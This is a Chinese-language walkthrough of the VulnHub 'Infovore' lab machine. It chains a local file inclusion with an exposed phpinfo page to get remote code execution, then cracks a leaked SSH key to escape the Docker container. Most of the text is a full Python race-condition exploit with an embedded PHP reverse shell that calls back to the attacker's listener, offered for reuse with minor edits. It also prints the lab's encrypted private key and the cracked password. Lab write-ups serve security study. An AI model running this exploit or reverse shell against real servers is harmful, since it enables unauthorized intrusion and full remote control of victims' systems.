知识点

local file inclusion + phpinfo => RCE

信息收集

靶机: https://www.vulnhub.com/entry/infovore-1,496/

上nmap收集目标主机的ip地址:

1
2
3
4
5
6
7
8
9
10
11
kali@kali:~$ nmap -sP 192.168.247.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 03:09 EDT
Nmap scan report for 192.168.247.1
Host is up (0.0012s latency).
Nmap scan report for 192.168.247.2
Host is up (0.0010s latency).
Nmap scan report for 192.168.247.210
Host is up (0.00019s latency).
Nmap scan report for 192.168.247.224
Host is up (0.0015s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.93 seconds

目标主机的ip地址为192.168.247.224。

探测下目标主机上开启的服务:

1
2
3
4
5
6
7
8
9
10
11
12
kali@kali:~$ nmap -p1-65535 -A 192.168.247.224 -oN /tmp/infovore
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 03:12 EDT
Nmap scan report for 192.168.247.224
Host is up (0.00094s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Include me ...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.10 seconds

仅仅在80端口开启了http服务。

漏洞挖掘

访问http://192.168.247.224 :

2

在标签页上发现了提示Include me...,说明存在一个文件包含漏洞。但是怎么利用还没有头绪。

再利用dirb扫描网站的目录,发现了http://192.168.247.224/info.php

3

发现文件:

1
2
+ http://192.168.247.224/index.php (CODE:200|SIZE:4743)          
+ http://192.168.247.224/info.php (CODE:200|SIZE:69878)

其中info.php是一个探针文件:

4

除此之外并没有其他的有利用价值的文件或是目录被发现,所以只能认为文件包含漏洞存在在index.php中,用burp fuzz一下。

拦截请求,发送到intruder,因为不知道parameter是什么,所以对parameter进行fuzz:

5

payloads选用SecLists中的两个字典:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt

https://github.com/danielmiessler/SecLists/blob/67bdc2032effada01a821ae1daf775a94aff010d/Fuzzing/LFI/LFI-Jhaddix.txt

6

线程可以选择大一点,爆破之后,发现parameter是filename

8

在其他情况下,会返回正常的页面:

9

文件包含漏洞的利用方式为http://192.168.247.224/index.php?filename=

漏洞利用

现在已经知道目标站点上泄露了一个phpinfo文件并且存在一个文件包含漏洞,利用这两个文件,可以上传一个web shell,从而实现rce。

我们可以直接利用github上现成的exp,exp来自 https://github.com/M4LV0/LFI-phpinfo-RCE/blob/master/exploit.py ,需要修改几个点:一个是line 12和line 13的ip地址和port,是反弹shell之后接收shell的ip和port;另外两处是line 139和line 148,修改为对应的phpinfo文件和文件包含漏洞文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.247.210'; // CHANGE THIS
$port = 23333; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 6000
REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /index.php?filename=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt")
fn = d[i+17:i+31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 2000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

在kali的23333端口进行监听,反弹shell成功:

10

漏洞原理

主要参考ph牛的 https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

对于一个LFI漏洞,我们经常会尝试向一些日志文件或是session文件中写入我们的恶意代码,然后再包含这些日志文件或是session文件来控制远程服务器(如 VulnHub_Ted靶机渗透之Session文件包含VulnHub_DC-5靶机渗透之Nginx日志文件包含 )。但是有一些情况下可能日志文件和session文件都不可利用,那么此时可以考虑利用php的临时文件。通过一些技巧让服务器生成一些包含恶意代码的临时文件,然后用lfi包含该临时文件。

在PHP中,当使用POST请求或是PUT方法向服务器发送数据包时,只要在数据包中包含文件区块,无论访问的代码的代码中是否存在处理上传文件的逻辑,PHP都会将该文件保存为临时文件,该文件名就是存储在$_FILES全局变量中的$_FILES['userfile']['tmp_name'](在php.ini的upload_tmp_dir中指定,默认为/tmp目录),临时文件名通常为/tmp/php[6个随机字符]。在请求结束之后,这个临时文件就会被删除。

而phpinfo页面能够将当前请求上下文中的所有变量都打印出来,所以如果向phpinfo页面中发送包含文件区块的数据包,那么在返回的response中就能包含$_FILES变量。一个测试例子:

1
2
3
4
5
6
7
8
import requests

files = {
'file': ("1.txt","ssss")
}
url = "http://192.168.247.224/info.php"
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.text)

14

从phpinfo页面中能获取到临时文件名,然后将该文件名作为lfi文件的包含对象即可,但是在post请求结束时,临时文件就被删除了,所以文件包含也就失败了。所以这里需要使用条件竞争,ph牛的做是这样的:

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

15

数据包的请求头等位置都塞满了垃圾数据
  1. 因为phpinfo页面会将所有数据都打印出来,第1步中的垃圾数据会将整个phpinfo页面撑得非常大

16

phpinfo页面中充满了垃圾数据
  1. php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

  2. 所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

  3. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

  4. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

在脚本运行期间用wireshark抓了个包,可以看到race condition的请求和文件包含情况:

17

docker逃逸

在根目录下发现了.dockerenv文件,这就说明当前工作在docker工作环境下。

11

另一种方法还可以通过查询系统进程的cgroup信息查看:

1
cat /proc/1/cgroup

18

也可以发现当前的工作环境是docker。

然后回到根目录下,除了发现.dockerenv之外,还发现了.oldkeys.tgz压缩包,复制到/tmp目录下解压后发现了rootroot.pub

13

查看root,这一个是私钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@e71b67461f6c:/tmp$ cat root
cat root
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2037F380706D4511A1E8D114860D9A0E

ds7T1dLfxm7o0NC93POQLLjptTjMMFVJ4qxNlO2Xt+rBqgAG7YQBy6Tpj2Z2VxZb
uyMe0vMyIpN9jNFeOFbL42RYrMV0V50VTd/s7pYqrp8hHYWdX0+mMfKfoG8UaqWy
gBdYisUpRpmyVwG1zQQF1Tl7EnEWkH1EW6LOA9hGg6DrotcqWHiofiuNdymPtlN+
it/uUVfSli+BNRqzGsN01creG0g9PL6TfS0qNTkmeYpWxt7Y+/R+3pyaTBHG8hEe
zZcX24qvW1KY2ArpSSKYlXZw+BwR5CLk6S/9UlW4Gls9YRK7Jl4mzBGdtpP85a/p
fLowmWKRmqCw2EH87mZUKYaf02w1jbVWyjXOy8SwNCNr87zJstQpmgOISUc7Cknq
JEpv1kzXEVJCfeeA1163du4RFfETFauxALtKLylAqMs4bqcOJm1NVuHAmJdz4+VT
GRSmO/+B+LNLiGJm9/7aVFGi95kuoxFstIkG3HWVodYLE/FUbVqOjqsIBJxoK3rB
t75Yskdgr3QU9vkEGTZWbI3lYNrF0mDTiqNHKjsoiekhSaUBM80nAdEfHzSs2ySW
EQDd4Hf9/Ln3w5FThvUf+g==
-----END DSA PRIVATE KEY-----

root.pub是公钥:

1
2
3
www-data@e71b67461f6c:/tmp$ cat root.pub
cat root.pub
ssh-dss AAAAB3NzaC1kc3MAAACBAPV4XEuAQLhu9Lqr3KwiSo9/sfFsb6ighehPgDYsEWHaW9eC7+ivELLDdOvst2Lz4VAy1wzJKTOxAT2RZuU0mzReqG0lKU14RDU3rzXsv4GbwMHrEartFCum01TkgMmFTAbcKmNM3Epl3E4nEP5On/LiYwC1eoRB/QFVnHgkU5ZrAAAAFQCg0SpRMRdieuuRUoKiPBuZ82bCdQAAAIEAq+KgcnWoXadrEw3UxnSYFGDF+wRr32YKLehLq9wQVc2NJ/yB7ZHmxYfZtK5FqmsTnAWlq+bCPQLuS8+j28K7NxOG3X8utVcRDmUywsS2x6Wq49B/MSrfAIdA5gmjsHCvKwE4KYIw/VHoGtR9tfNtblNeFTeuCc2xdB1Boinh1VkAAACAARNpsMV8HVhYKGdv4obhoVOM+UHt/UsRBeN4Py7970HrIPeJ2NzW1EOd3LvPN+DlFTzsLoOvCq7R+t+lGMIECg4Rk1e+65VCd7dvw7XnAatN5Rtk6xxeOwjj4NVuLBhnyhGhVS7jIMTKqGAYyYeUwUiOixxkyDvub8b9uQSauao= root

利用john破解私钥,得到密码choclate93

19

切换用户到root用户:

20

在当前目录下还有一个.ssh文件夹,进入.ssh文件夹,查看公钥,发现利用ssh登录的目标主机为admin@192.168.150.1

21

尝试利用choclate93登录admin@192.168.150.1

22

登录成功,发现了最后的flag。

参考

  1. PHP LFI 利用临时文件 Getshell 姿势
  2. PHP文件包含漏洞(利用phpinfo)